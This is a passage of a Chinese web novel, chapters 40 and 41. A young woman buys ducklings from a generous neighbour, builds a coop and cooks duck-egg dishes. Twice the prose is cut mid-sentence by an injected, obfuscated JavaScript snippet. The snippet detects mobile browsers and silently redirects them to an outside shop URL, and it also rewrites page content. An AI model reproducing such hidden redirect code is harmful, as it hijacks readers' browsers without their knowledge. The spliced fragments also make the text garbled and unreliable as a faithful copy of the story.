白茅根一节一节的,长得和折耳根有点像,但它的味道可比黄迎春上火时吃的折耳根好多了。 “甜滋滋的,和甘蔗一样。” “甘蔗?”宋二娘疑惑,“是什么?” “南方的一种水果,我以前……在家常吃。” “既然来了这里,在这里安了家,就别想那么多了,吃饱是第一要紧事。”宋二娘不擅长安慰人,她只会直接塞钱,“你看中哪些鸭子了?直接挑!你买小的,我送你一只大的。” 40.葱香鸭蛋 虽然黄迎春很心动,但她还是拒绝了:“这怎么成呢?一只鸭子少说也要大几十文,我虽然没多少钱,但也不能占你这个便宜!” 宋大娘又是那副满不在乎的模样,一摆手:“一只鸭罢了,我想着与你做长长久久的生意呢。只盼你以后再要买鸭,第一个想到我就好。” 黄迎春盯着宋二娘,不说话。 宋二娘奇道:“你怎么这样看着我?” 黄迎春表情严肃:“二娘,你可有孪生姐妹?” “没有。”宋二娘一头雾水,“你怎么这么问?” “这么说来,昨日和我一起在镇上摆摊的人真是你?” “……”宋二娘哈哈大笑,“镇上按月发工钱,薪资以贯计。乡下人的钱都是一文一文攒起来的。镇上的人生活再难,也比乡下好过,要不然乡里的人怎么都一门心思往镇上奔呢?你别听人家哭两句就以为镇上的日子难过,他们赚钱的营生总是比我们多的。我们辛辛苦苦侍弄的东西贱卖了,再遇上老天不开眼,那日子才叫真难过呢!” 宋二娘说着说着,轻轻地拍了黄迎春一下,嘱咐道:“以后可知道了?除非急用钱,你以后可不能再像昨天那般做买卖!” 临近的水塘里,有只鸭子的头一点一点的,鸭喙在水里鼓捣了好几下,终于叼到一只小泥鳅,它来不及发声炫耀,立刻大快朵颐。 黄迎春也和鸭子似的,脑袋跟着一点一点的:“我明白了,多谢二娘,只是,这鸭子我实在不能要。没钱,是我的事,怨天怨地怨爹怨娘怨不了二娘你,怎么能让你白送我一只鸭子呢!” 黄迎春拿宋二娘教导她的话驳回宋二娘的好意:“二娘,你可不能这么做买卖。” 宋二娘不同意:“咱们本来就是靠天吃饭、靠地争命的人,要是互相之间再不帮把手,日子哪里还能过下去!” 见黄迎春的态度有所动摇,宋二娘又往炉灶里添了把柴火:“这不是买卖,是咱们的情分。我叫盼春,你叫迎春,咱俩名字里都带着一个春,也是有缘。” 这么重的情分,如果她熬不过今年,怎么还呢? 黄迎春不再说话,任由宋二娘带着她去选雏鸭。 雏鸭怕冷怕湿,在孵化出壳的头一个月,通常都在鸭舍里待着。 刚出壳的雏鸭全身都覆盖着黄色的绒毛,摸上去蓬松又温暖,看着就十分可爱。 它们待在松软干燥的竹笼里,吃的食物是所有鸭子中最精细的。 宋二娘一天来看它们好几回,喂给它们吃的食物都是用清水泡过的碎米。 “时不时的,你也得拌点沙子给它们吃,这样它们好消化。” 宋二娘一边说一边干活,黄迎春上手去帮忙,她特意看了一下,宋二娘过滤沙子用的都是孔眼最密的网纱。 不足月但稍大一点儿的雏鸭,被宋二娘放在芦苇席子围成的围栏里照顾。 它们的身上,黄色的绒毛已渐渐褪去,脖颈和尾巴处开始长出一点儿颜色不一样的硬羽,犹如发了霉又掉了墙皮还经过长久岁月摧残的白色墙面,总之看上去格外斑驳,但精神十足,叫声活跃。 一看就容易成活! 黄迎春高兴得不得了,她情不自禁地扯着宋二娘的袖子,指着行动十分敏捷的几只雏鸭,按捺住激动,小声地说:“二娘,我要那几只。” 宋二娘朝黄迎春手指的方向看过去,点点头:“那几只好,都是蛋鸭。” 宋二娘家养的鸭子主要有两种,一种是下蛋多的麻鸭,另一种是养两三个月就能吃的番鸭。 麻鸭因毛色长得跟麻雀一样而得名。它吃得少,下蛋多,适应性强,还好养活,简直就是鸭界的明珠。能养得起鸭子的人家,几乎每户家里都养着麻鸭。 相较之下,养番鸭的人家就比较少。 番鸭全身雪白,体型比麻鸭大,两者之间最直观的区别是番鸭脑袋上会长红色的肉瘤。不过,给番鸭与麻鸭选美这种事,是吃饱了撑的的人才会干的事情。通常人们养鸭,不是为了钱就是为了吃。番鸭不同于本地历史悠久的麻鸭,它是商人开海之后从海外带回来的,并不喜欢抱窝,下蛋之后从来不管它的孩子们的死活,而且,番鸭也不爱下蛋。 但是,番鸭还是在短短时间内风靡大街小巷了——没有办法,它实在味美。 番鸭长到两三个月就能宰杀,此时是鸭肉肉质最鲜美的时候,吃家和老饕形容番鸭吃起来有一种特殊的香味,是其他鸭子所不能比拟的。 在城里的酒楼里,爱吃鸭子的人恨不得每天都吃上一只番鸭。 酒楼常有番鸭供不应求的时候。 于是,听说爱吃番鸭的人还专去鸡鸭行号召养鸭人多养番鸭,少养麻鸭。 宋二娘对此嗤之以鼻:“番鸭不抱窝,还不是要靠麻鸭来孵蛋。如果光养番鸭,过不了多久,是麻鸭也没了,番鸭也没了。这种道理,竟然有傻子想不通。” 宋二娘对黄迎春说:“妹子,听我的,多养蛋鸭,少养肉鸭。” 是的,在宋二娘的眼中,没有麻鸭与番鸭之分,只有蛋鸭和肉鸭。 蛋鸭要从春养到秋才能下蛋,而肉鸭养两三个月就能卖钱了,并且那时肉鸭的价钱比养了一年多的蛋鸭都要高上许多。 肉鸭是不能久养的,时间养得越长,肉质越老,吃起来越不好吃,价钱自然也就越来越低。 虽然养肉鸭能挣快钱,但宋二娘并不推荐:“原因有两个。 “一来肉鸭贵,人人都知道肉鸭养两三个月就能卖钱,所以肉鸭不管是成鸭还是雏鸭,都贵。 “你身上这些钱能买多少只肉鸭的鸭苗,咱们先不聊。 “鸭子最怕得病,一病就是一窝一群一片,病鸭卖不了钱,身体不好的人也不能吃,否则只怕会病上加病。 “两三个月虽然短,但让我这个和鸭子打了几十年交道的人来说,我也不敢保证我养的肉鸭就一定不会生病,更何况是你这种头一回要养鸭的人呢? “你钱不多,经验也少,折腾一回成了倒是好,不成,也跟要了半条命没差了。 “二来,咱们就得谈谈价钱了。一只蛋鸭的鸭苗,按你刚才挑的个头,我算你二十文一只,六百五十文能买……” 黄迎春脸一红,有些不好意思地打断宋二娘:“不是六百五十文。二娘,我刚想起来,我回去还要坐船,船资还没扣。” “……” 宋二娘一听,更用心地和黄迎春讲起第二条原因了。 不出意外,黄迎春肯定得按她的建议来买鸭。 “那就六百文。我还好算一些。六百文,我能卖你三十只蛋鸭的鸭苗。 “这三十只蛋鸭已经立住了,现在也是好时节,不管你是放稻田还是放水沟里,虫啊草啊,总有它们吃的。你既然能卖鱼,水肯定也是尽够的。 “养鸭就怕水不够,你不缺水不缺食,只要好好侍弄鸭子,养到秋末,它们就能开始下蛋。 “蛋鸭下蛋多,鸭蛋不管你是拿来自己吃还是拿去卖,好处是长久的。 “你要是会孵蛋,就更好了,明年的鸭苗也不缺了……” 宋二娘一番推心置腹,卖出三十只小麻鸭——二十五只母鸭,五只公鸭。 没有受精过的鸭蛋是孵不出小鸭的,安朝的人都没有一夫一妻制,鸭子自然也没有,一只公鸭足够配一群母鸭。 但是,黄迎春不放心,还是多选了几只小公鸭。 如果只买一只公鸭,万一它出了什么事呢? 生病死了,被黄鼠狼咬死了,沿着河流偷偷跑走了……这些意外都有可能发生。 虽然这么想不大好,黄迎春也尽力想要避免这种情况,但有些时候,有些坏事不是刻意不想不说就不会降临的。 无论好的可能或坏的可能,黄迎春得事先做好一切打算。 宋二娘极其赞许黄迎春这种未雨绸缪的想法,她随手抓了一只蛋鸭,望着它叹气:“可惜只有母鸭才会带小鸭子,要不然我就给你抓只公的了。” 黄迎春没有工具,装三十只雏鸭的竹笼都是宋二娘友情赠送的,虽然竹笼不值什么钱,但编一个也要不少时间,黄迎春自觉占了不少便宜,更不肯要宋二娘白送的那只母鸭。 “我真的不能要!” “你一定得拿着!” “……” 黄迎春不擅长推辞,宋二娘不耐烦推辞,二人因为一只麻鸭,顷刻间要爆发一场战争。 就在这时,黄迎春眼尖地在不远处发现了一株熟悉的植株,她连忙改口,问道:“……二娘,你家有没有什么果苗,能不能匀我一棵?” “果苗?”宋二娘果然被黄迎春转移了注意力,“你要什么果苗?” “那棵枇杷树是你家的吗?” 宋二娘随手一扔,母番鸭扑腾着翅膀连忙走开,两手空空的宋二娘走到黄迎春指着的枇杷树前,上下打量两眼,问两眼放光的黄迎春:“你要这棵?” 黄迎春点点头:“如果可以的话。” 她又补上一句:“价钱二娘你看着要,给我留下船资就行。” “不用钱。”宋二娘拿了一把锄头,没过多久就把那棵只有她小腿高的枇杷苗从鸭舍边上的地里挖了出来,扯了几片芭蕉叶子和细长的草叶把带土的根系一包,递给黄迎春,“给你。” 这回不用黄迎春再多解释,宋二娘已经知道黄迎春讨要果树打的是什么主意。 “你回去栽栽看,现在天气还不太热,多浇点水,应当能成活。”宋二娘一边提着竹笼往家走,一边叮嘱抱着枇杷树亦步亦趋跟在她身边的黄迎春,“记得种得离鸭子远些,鸭喙虽然不如鸡喙尖,但刨起土来也是蛮厉害的。不要还没立住长好,就被鸭子给祸祸了。” 黄迎春一个劲的点头应好:“多谢二娘。” 黄迎春从镇上买来的东西连同她的扁担和木桶全放在宋家的堂屋里,黄迎春一进院子把枇杷树苗放下,就想从怀里给宋二娘掏钱。 宋二娘故作生气:“鸭子你不要我就不说了,这枇杷树你可千万不能和我算钱。要不是你看见,地里什么时候长了一棵枇杷树我都不知道。” 宋莺拎着一个茶壶过来倒水,听了这话便笑道:“娘,你忘了,去年姑丈带了一篮子枇杷给我们吃。那枇杷又大又甜,秋娘她们觉得好吃,还特地把枇杷核洗净了种在地里呢,想着自家也能借出又大又甜的枇杷,就不用等姑丈送给我们才能吃到枇杷了。结果她们几个忙活好几天都不见枇杷核发芽出苗,一生气,就把藏在屋里的剩下的枇杷核都扔到水塘里给鸭子吃了,估摸着这棵枇杷树苗就是这样长出来的。” 闺女一说,宋二娘也想起来了,她坐在长凳上一拍大腿:“我想起来了,那时候秋娘还不高兴了好几天呢!” 宋二娘转头就对黄迎春说:“妹子,你可听到了?别提钱的事,那枇杷苗小小一棵,就是拿去卖也值不了几文钱,你要是给钱,就是寒碜我,知道吗?” 黄迎春默默地点点头,她喝了两杯水解了口渴,又拿出自己的空竹筒请宋莺帮她灌满温水,然后,挑起扁担,向宋二娘辞行。 宋二娘与她的家人还想留黄迎春吃顿饭,黄迎春摇摇头:“我得在日落前赶回去,天黑了不好走。” 热情好客的宋家人无话可说,宋二娘和宋莺连忙收拾了一大包水果塞在黄迎春的木桶里:“都是些水果,来不及洗,路上要是渴了饿了你就凑合吃。” 黄迎春还想说些什么,宋二娘一边往她送出门,一边低声道:“水果吃了核别扔,这些果子味道都不差,估摸着长成后结出的果实也是一个味。以前没听过种核能出苗的,偏偏鸭舍旁就长了枇杷苗,我想着还是鸭粪肥地。你回去试试,反正也不花钱,万一出苗了,过个三五年兴许就有一片果林,到时你日子就好过了。” 黄迎春感动得说不出话来,宋二娘一路走一路送,直至村口,黄迎春才忍着泪意,说:“二娘,你回去吧。你放心,我一定能把日子过好的。以后我得了空,就来寻你一起去镇上做买卖。” “哎——” 在宋二娘的注视中,黄迎春一头挑着三十只嘎嘎叫唤的雏鸭,一头挑着她在万姓集里的收获与宋家送她的吃食,摇摇晃晃地朝不远处的渡口走去。 搭上船,又走了许久,终于,在日落西山前,黄迎春安全地回到了她在荒山脚下的家。 回家第一件事,不是挑水,不是看地,而是赶紧把竹笼里的雏鸭们放下。 一路摇摇晃晃,虽然黄迎春已经尽力减轻晃动的幅度,但雏鸭们还是不可避免地坐了好几个时辰的“旋转木马”。 黄迎春把雏鸭们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17023331|190244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从竹笼里放出来,一只只看过去,又打了清水,放了些她煮饭时抓的大米在破开的竹筒里,见三十只小鸭子虽然无精打采的,但都争先恐后地凑到竹筒旁喝水啄米,终于放下心来。 “太好了,虽然有点晕,但能吃就能活。” 趁小鸭子们吃饭的工夫,黄迎春连忙把她从镇上买来的工具都拿出来,走进柴房拖出砍好的竹子,迫不及待地开始搭建鸭舍。 建鸭舍,密封性是最重要的。 若是鸭舍建得不牢固,让雏鸭偷偷从鸭舍跑出去,或是让黄鼠狼钻进鸭舍把鸭子给吃了,那一切功夫就都白费了。 黄迎春精益求精,可谓是打起了十二万分的警觉性,一会儿把自己当成雏鸭,一会儿把自己当成黄鼠狼,全方位地对自己搭建的鸭舍进行考察,终于,在雏鸭们吃饱喝足,开始大摇大摆地在竹篱笆围成的前院里闲逛,并随心所欲地在菜地里乱拉乱尿乱踩乱啄时,黄迎春完工了。 一个长宽高都没有黄迎春高的鸭舍,一个把三十只雏鸭都抓进去关上却依然能被黄迎春双臂抱起的鸭舍,终于是做好了。 这时,黄迎春才忽然发现她的胃也扁得跟从竹眼里钻出来的鸭喙一样。 “好饿。” 黄迎春连忙把鸭舍放到柴房门口,起身去做饭。 在喂鸭时,黄迎春下了一趟地窖,地窖里的粮食保持着她出行前的原样,没有变化,黄迎春松了好大一口气,于是,在拿米时,她大方地添了两把。 一把给小鸭子,一把给自己。 分明昨天早上才离开家,但仿佛已经是过去许久的事情了。 灶膛里的火星灭了,黄迎春重新打了火石,塞了一把干竹叶引火,往锅里倒上刚才去河里打的水,一边烧水一边焖竹筒饭。 夕食,黄迎春打算做一道葱香鸭蛋。 一上船黄迎春就发现了,宋二娘塞给她的一大包东西里,不止有品类丰富的水果,还有黄迎春推辞了许多次的鸭蛋。 今天去水塘和鸭舍参观时,宋二娘从来不让黄迎春闲着,哪怕再简单的事情,宋二娘也要让黄迎春上手做一遍,捡鸭蛋也是如此。 宋二娘塞的鸭蛋一看就是她们今天上午在水塘边上捡的。 天上刚下过一场大雨,到处都是湿漉漉的,鸭蛋碰了水,就不能久放,宋二娘以此为借口,一定要送给黄迎春一些鸭蛋,黄迎春百般推辞,没想到最后还是躲不过。 她看着一个又一个□□草牢牢包裹着的鸭蛋,既想哭又想笑。 一路颠簸,虽然宋二娘包裹得极其严实,免不了有三个磕裂的。 黄迎春把它们挑出来,拿到桶里清洗。 鸭蛋团了干草,又糊了湿泥,并不好洗,尤其是蛋壳表面的泥土,因为落了雨,沾了水,附着在鸭蛋壳上,蛋壳本来就有裂缝,黄迎春更不敢用力,愈发不好清洗。 黄迎春去竹架上翻出一根半长不短的丝瓜络,用从花草司里带出的小花剪绞下一块,浸透了水,拿来洗鸭蛋。 果然,工欲善其事,必先利其器。 用丝瓜络清洗的鸭蛋壳干干净净,可比黄迎春徒手搓有效率多了。 鸭蛋洗好后,黄迎春把桶拎到菜地里,泼了最干的一块。 今日的雨下得并不广,没下到荒山脚下。 黄迎春在菜地里走走看看,一边检查菜地的情况,一边掐了几棵野葱。 天已经黑了,黄迎春不敢摸黑浇菜,于是她提着扁担匆匆忙忙挑回两桶河水和洗净的野葱,又把柴房门口的鸭舍抱到厨房的角落里放好,这才继续鼓捣夕食。 洗净的野葱切碎,放进碗里。 洗净的鸭蛋,沿着蛋壳的裂缝,在碗沿上轻轻一磕,裂缝扩大,双手沿着缝隙打开,一个滑溜溜的鸭蛋随即滑入盛满葱花的碗中。 两个。 三个。 黄迎春毫不吝啬地在三个橙黄色的“太阳”里加了一点盐,用筷子将它们充分打散。 锅中倒油烧热,一股脑儿地把黄中带绿的蛋液沿着滋滋冒烟的油点打圈倒进去,待底面成型,黄迎春又拿着铲子一翻,让另一面鲜嫩的蛋液也充分浸润油锅的香气。 黄迎春翘起的嘴角在看到又黄又绿的碗底时僵住了。 她把蛋饼摊得又大又薄,蛋液熟得极快,并不需要再额外倒水焖熟。 哪怕她已经拿筷子刮了又刮,碗里还是聚集了一点儿蛋液。 不浪费的做法是往碗里兑点水再倒进锅里,但这会儿鸭蛋已经煎好,黄澄澄的,冒着诱人的葱香味,黄迎春不想干画蛇添足的事情。 做菜用不上,洗了又可惜。冲点热水喝呢? 黄迎春忽然想起鸡蛋茶的做法,她兴冲冲地打算尝试一番,装着热水的竹筒刚拿起来,还没靠近,转眼,黄迎春就被鸭蛋独有的腥味给吓退了。 “……” 其实,鸡蛋和鸭蛋相比,我也是更喜欢鸡蛋的人吧? 黄迎春后知后觉。 但那都是上辈子的事了,现在她身无分文,还矫情什么? 黄迎春拿着竹筒,再度抬手凑近。 结果,她越靠近打过鸭蛋的碗,碗里的腥味越浓郁。 黄迎春又犹豫了。 我可是有三十只小鸭子的人,真的要这么为难自己吗? 黄迎春松开紧皱的眉头,果断把碗丢进桶里用洗碗专用的丝瓜络洗干净,洗净后拿起来一闻,鼻尖还是能闻到那股挥之不去的蛋腥味,仿佛附着在碗里,决心和她的碗同生共死。 这怎么可以! 这是我唯一的一个碗! 黄迎春从墙边的竹筐里摸出两颗无患子,搓出无患子的泡沫后,又把碗洗了一遍,连丝瓜络也不放过,接着还用热水冲了好几遍,直到一点儿异味都无法从碗里闻到,她这才心满意足,高高兴兴地把锅里的葱香鸭蛋盛进碗里,再把筷子伸向早已焖熟劈开的竹筒饭。 真香啊! 野葱的香气,新鲜鸭蛋的香气,两者混杂在一起,黄迎春分不出哪个更香。 用油一煎,鸭蛋只剩蛋香和葱香味,一点儿腥味都闻不着了。 怎么能这么香呢? 怎么能这么好吃呢? 葱香鸭蛋,绝了! 黄迎春在雏鸭们的嘎嘎叫里吃得头也不抬。 41.辣椒炒鸭蛋 初来乍到,三十只雏鸭们在鸭舍里嘎嘎叫唤了一夜。 黄迎春躺在炕上,三番五次起来察看,结果左看右看,怎么瞧也瞧不出来它们不是麻鸭。 说好的麻鸭适应性强呢? 黄迎春不认为宋二娘会坑她,但麻鸭随遇而安的好脾性,她属实是一点儿都没感觉出来。 第二天一早,黄迎春顶着两个浓重的黑眼圈,刚推开堂屋的门,还没走到鸭舍前,迎面扑来一股臭味。 猝不及防的黄迎春:“……呕——” 黄迎春转身就往外跑,站在露气深重的院子里大口大口地呼吸,又往地上“呸呸呸”地吐了好几口唾沫,这才屏着一口气,飞快地走进堂屋,把门一推到底,快步走到臭气熏天的鸭舍面前。 鸭舍没有沉重到黄迎春抱不起来的地步,但也不轻。 黄迎春弯下腰一使力,嘴里屏着的那口气立刻破了功,她几乎是飞一般地逃出臭了一晚上的堂屋,把依然在不停地嘎嘎叫唤着的鸭舍搬到院子里。 鸭舍被黄迎春缓缓放下,黄迎春觉得自己也需要一点时间来缓缓。 奇了怪了,鸭子不是边吃边拉的直肠性动物吗? 黄迎春很疑惑。 昨天晚上鸭子和她一块吃的夕食,甚至鸭子比她还早开饭,鸭子吃饱喝足后还去菜地里溜达了一圈,活动量也不大,是不用再添食的。 至于水,她生怕雏鸭们不懂事,在探索鸭舍时不小心打翻盛水的竹筒,让羽毛沾了水,身子着凉受风寒,连水也不敢往鸭舍里放。 那她现在眼前这些一滩又一滩的屎尿,一条又一条的棕灰色粪便,还有这片弥漫在堂屋里久久挥之不散的臭鸡蛋味是怎么回事? 正常情况下,小鸭子们不应该垫着干草,窝在鸭舍里舒舒服服地一觉睡到天亮吗? 它们是怎么在没吃没喝的条件下还拉了这么多屎尿的?还渗透到垫在鸭舍下面的干草里,甚至连堂屋干净的地面上都落了几点脏污! 黄迎春想不明白,她觉得她带回家的这三十只小鸭子没有一只是讲道理的。 黄迎春忍着臭味把沾了屎尿的干草搬到她平日里堆肥的地方,又从灶膛里扒出草木灰倒在堂屋的脏污处,待草木灰吸附了半湿不干的鸭屎鸭尿,才拎着锄头把它们铲进敞口簸箕。 还是好臭! 黄迎春叹了一口气,把簸箕里的草木灰倒在干草上后,黄迎春把簸箕拎到河边,放在河里简单地冲洗两下,又就地拔了两根细长的草叶,绕在簸箕上打了一个结以示记号。 这个簸箕,以后就是铲屎专用的了。 黄迎春望着还在滴水的簸箕,这一刻,她的眼中没有对肥料的渴望,只有对鸭粪的嫌弃。 拉屎可以,要拉对地方才行哪! 昨天晚上刚做好的鸭舍,它们也就待了一夜,今天早上鸭舍四周都沾满了屎尿,它们到底是怎么做到的? 黄迎春不忍心去回忆鸭舍的惨状,她也不忍心去看自己身上的衣裳,只能把手放在清凉的河水里洗了又洗。 一回到家,黄迎春就连忙把外裳脱下。 鸭舍都不成样子了,她在搬鸭舍时为了借力,避免不了要把鸭舍一侧紧贴在身上,最外面的一层衣物自然也免不了遭殃。 有空还是得给自己做条围裙,越早越好。 拿新买的刷牙子时,黄迎春顺便打开了放麻布的包袱,看了一眼又翻了一遍,然后又把包袱打上结放好。 做条围裙,足够了。 黄迎春一边算着麻布的数量和大小,一边把这件事情记在心里。 出了卧房,黄迎春又去厨房取水洗漱。 昨天在宋家只花了六百文,还余下五十文。搭船花了十文,又在同行的货郎那买了两把刷牙子,一下子又花去二十文,眼下,她的手里只有二十文。 二十文能干什么呢? 只能再买一只小雏鸭或两把刷牙子,生了病,也只够去趟镇上的船资,连医馆的大门都进不去…… 黄迎春摇摇头,尽力把自己脑子里的坏设想赶出去。 过日子还是得向前看,往好处看。 黄迎春望着桶里的倒影告诫自己。 从桶里舀了水倒进竹筒做的牙杯,黄迎春开始搓无患子,把无患子搓出泡沫后,黄迎春把泡沫抹到湿淋淋的刷牙子上,然后把刷牙子放进嘴里一上一下地刷着。 嘴里没泡沫了,黄迎春就再弄一点无患子泡沫到刷牙子上,刷一次牙,这样的流程起码要重复三四次。 如果有起泡瓶就好了。 拼夕夕包邮,五块钱三个的起泡瓶啊,我真想念你。 黄迎春把洗净的牙杯和刷牙子放在一起,望着它们,类似“子欲养而亲不待”的悲伤与遗憾还没来得及蔓延,转眼就被挤在鸭舍里嘎嘎叫唤的雏鸭们打散。 “等会儿,我洗把脸。” 黄迎春朝鸭舍喊了一声,用桶里的水瓢舀了一勺水,就着手掌心抹了几下眼睛和嘴角,囫囵地洗了一个脸。 洗衣盆和泡脚盆混用,只要多抓点无患子洗干净些,黄迎春还能忍受,但再加上一个洗脸盆,黄迎春就没有办法接受了。 现在是夏天,天气热,用水瓢直接淋水打湿麻布或用手掌掬水洗脸都没关系,但是到了冬天,面对冰凉刺骨的冷水,黄迎春不知道自己是否还有勇气这样做。 今年要是再去镇上,得买个洗脸专用的水盆了。 黄迎春这样想道,然后就急匆匆地奔着能让她有钱去镇上买洗脸盆的宝贝们去了。 “饿了是不是?等等,我带你们去田里,稻田里可多虫子了,你们放开吃!” 黄迎春拿出她昨晚编的大竹筐,打开鸭舍的门,雏鸭跑一只出来,她就抓一只放到垫了松软干草的竹筐里,直到把三十只雏鸭都“一网打尽”。 “真好,你们还活蹦乱跳的。” 听着雏鸭们的嘎嘎叫唤声,这会儿,黄迎春又不嫌它们吵闹了。 这是噪音吗?不,这是这群小生命的鲜活气息。 黄迎春把它们一路带到田边,望着还有点水迹的稻田,她满意地点点头,蹲下身把竹筐里的雏鸭一只只抓出来放进稻田里,亲切地鼓励道:“去吧,我的鸭鸭大军,吃光地里的杂草和虫子,冲啊!” 雏鸭们一早上换了三个环境,鸭舍与竹筐都是逼仄的,如今它们陡然进了宽阔的稻田,反而有些晕头转向。 好在,觅食是鸭子的天性,黄迎春数了不过十个数,就见有一只小鸭子埋头在地里吃起鲜嫩的杂草。 紧接着就是第二只,第三只,第四只……渐渐的,稻田里的嘎嘎声越来越少。 雏鸭们吃饱了,吃美了,也会叫唤几声,但密集程度远远比不上黄迎春昨天晚上所听到的。 “真好啊。”黄迎春望着在地里努力吃草吃虫的雏鸭们,高兴地咧开嘴角。 雏鸭们在填饱自己的肚子,黄迎春也没有闲着。 她拿起锄头,走去另外几块没放雏鸭的稻田,开始挖土放水。 夏季是水稻生长的旺盛期,稻田里不能缺水,黄迎春走过一条又一条田埂,把每块稻田都检查了一遍,见水灌得差不多了,又用锄头勾住大块泥土把水沟的出口堵上,这才去唯一一块没放水的稻田里唤鸭。 “吃好了吗?我们该回去了。” 毛色斑驳的雏鸭们仗着体型小,身体健康,走路灵活,大摇大摆地在绿色的稻叶中穿梭,没有一只鸭搭理黄迎春。 怕它们受惊吓,黄迎春在田埂上蹲下来,对着面前的雏鸭轻声喊道:“做鸭也要懂礼貌呀!” 小鸭子们才不理人类世界的规则,它们对黄迎春不管不顾,吃饱了就开始磨洋工,不紧不慢地在土里找食,悠闲地在田里左看右瞧,还有两只很有闲心地用它们又扁又硬的鸭喙帮对方梳理羽毛,黄迎春甚至看到有一只小鸭子站在一株稻苗旁边一动不动,她忐忑不安地观察了好一会儿,才发现那只小鸭子是在睡觉。 “……” 昨天晚上不睡觉,现在在稻田里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17031907|190244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想起补眠了?! 是可忍孰不可忍,忍无可忍的黄迎春气冲冲地走过去,轻轻地抓起这只格外会做时间管理的小鸭子,把它放进竹筐。 开了头,接下来就好办了。 一只又一只小鸭子失去了它们短暂的自由,再度和它们的同伴挨挨挤挤地待在一块。 有些小鸭子被黄迎春抓进竹筐里还搞不清楚状况,瞪着两只圆溜溜的小眼睛和黄迎春对视,仿佛在对黄迎春说:“你礼貌吗?” 黄迎春不服气地看回去,嘴里振振有词:“我打过招呼了!” 在外面逛了半个早上,兜兜转转,雏鸭们又进了鸭舍,而黄迎春拉上鸭舍的门之后的第一件事,就是抓起几颗无患子冲到河边去洗手。 看着是真可爱,闻着也是真臭啊! 洗了手,黄迎春又挑着扁担在菜地和河边之间往返,直到把菜地都浇完,这才有空去煮自己的朝食。 忙了半个早上,口干舌燥的,没有比大米粥更补津液和力气的吃食了。 黄迎春把大米和清水一起下锅,盖上锅盖焖煮,然后拿起淘米水往菜地一倒,顺手又扯了十几只红彤彤的辣椒。 自从发现自己不喜欢鸭蛋的腥味,黄迎春就不想让自己受第二回苦。 辣椒连鱼腥味都能去掉,更何况一颗小小的鸭蛋。 大米粥的配菜,黄迎春已经想好了——辣椒炒鸭蛋。 宋二娘送了她十八枚沾了水的鸭蛋,鸭蛋不洗不碰,视季节和气温变化,可存放十天至两三个月不等。但一旦沾了水,最多只能放七天,这还是往多了算。 在水塘捡鸭蛋时,宋二娘特意嘱咐过:“有时鸭蛋捡了放在一起混成一堆,认不出来是哪天捡的。 “你就把鸭蛋拿起来对着太阳看,如果蛋里没有一点一点的黑点或一片暗影,那就是好蛋。 “天色不好,你拿起一颗鸭蛋轻轻摇晃,没听到声音,也能判断出这是一颗好蛋。如果有明显的晃动声音,这蛋可能就坏了。 “实在不行,你就上手摸。新鲜的鸭蛋,蛋壳都是比较粗比较糙的,表面看上去好像有一层白霜。如果鸭蛋放的时间已经有些久了,那蛋壳摸起来就是比较光滑的。 “其实这些法子都很容易认蛋,只是有的人哪怕知道这是坏蛋,也不舍得丢。 “但是,妹子,我得跟你说一声,如果你打出的蛋颜色已经变绿了,那是万万不能再吃的,吃了容易害病,可千万不能为了省一颗蛋把自己弄到医馆里去,去一趟医馆,医药钱能买多少新鲜鸭蛋啊!” 既然沾了水的鸭蛋不能久放,那就得赶紧吃,要不然放坏了,反而得不偿失。 黄迎春从竹篮里拿出三枚鸭蛋,洗净磕开打入竹筒。每个鸭蛋打进竹筒前,黄迎春都要伸头看一眼,见是好的再往竹筒里面倒。 辣椒切碎,蒜头去掉蒜皮,也拍成碎末,一起入油锅炒香,再盛入竹筒里。 这时,黄迎春又往热锅里点了一点儿猪油。 鸭蛋要去腥,油一定要放够,不然鸭蛋就不香了。 黄迎春忍着心痛与饥饿,一边继续拿筷子去陶罐戳猪油,一边不停地在心里默念:我会有很多鸭蛋,鸭蛋会卖很多钱,我能拿钱买回很多油,没关系,我会有很多鸭蛋,鸭蛋会卖很多钱…… 锅里的猪油化开后,黄迎春把碗里的三个鸭蛋一股脑地全倒下去,翻面炒到金黄,撒上几粒盐巴,又翻炒两下,然后倒入烧好的辣椒和蒜末,把它们翻炒均匀,撤掉柴火。 碗里盛着煮至开花的大米粥,锅里的热菜没处放,黄迎春只能站在灶台边,一手捧碗,一手拿着筷子往锅里伸。 辣椒炒鸭蛋香辣可口,十分下饭。 黄迎春呼呼一顿吃,在连副桌椅都没有的厨房里,吃出了风卷残云的架势。 吃完后,黄迎春把碗筷往桶里一放,拿着丝瓜络和无患子就开始洗碗。 望着在桶里沉浮的两个竹筒,黄迎春后知后觉,也许,她再去镇上,还得给自己再添两个碗。